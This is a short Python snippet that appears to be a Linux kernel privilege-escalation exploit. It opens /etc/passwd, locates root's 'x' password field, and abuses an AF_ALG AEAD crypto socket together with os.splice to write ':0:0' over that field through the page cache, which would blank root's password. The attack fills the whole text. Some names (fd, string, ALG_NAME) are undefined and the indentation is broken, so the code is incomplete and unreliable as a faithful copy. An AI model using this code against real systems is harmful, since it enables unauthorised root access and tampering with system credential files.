# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f:  # binary open
  content = f.read()
  idx = content.find(b"root:x")  # find root:x location
  x_offset = idx + 5  # Get x location

# Before: root:[x:0:]0:root:/root:/bin/bash
# After   root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"

sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)  # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))

# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey

# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket

# Send payload
payload = b"\x00" * 4 + string
cmsg = [
  (SOL_ALG, ALG_SET_OP, struct.pack("I", 0)),  # Decrypt
  (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
  (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
  ]
  op.sendmsg([payload], cmsg, socket.MSG_MORE)

# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32)             # copy data from pipe to socket
try:
  op.recv(64)
except OSError:
  pass